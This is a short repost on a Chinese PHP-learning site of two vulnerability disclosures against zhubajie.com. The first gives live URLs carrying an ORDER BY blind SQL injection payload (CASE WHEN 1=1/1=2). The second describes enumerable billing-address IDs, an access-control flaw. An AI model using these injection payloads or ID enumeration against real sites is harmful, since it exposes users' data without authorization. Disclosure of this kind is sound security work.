来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.htmlhttp://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline ......
|
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.html
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html
为 order by 注入。根据 when() 中 1=1 1=2 返回数据的排序方式进行盲注。
  作者 Jannock
http://u.zhubajie.com/billing/billaddress-baid-12467-edi-1
baid 范围为：1-12467 (发表前)
可以直接遍列哦。。。。
 修复方案：权限。。。
作者 kobin97
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
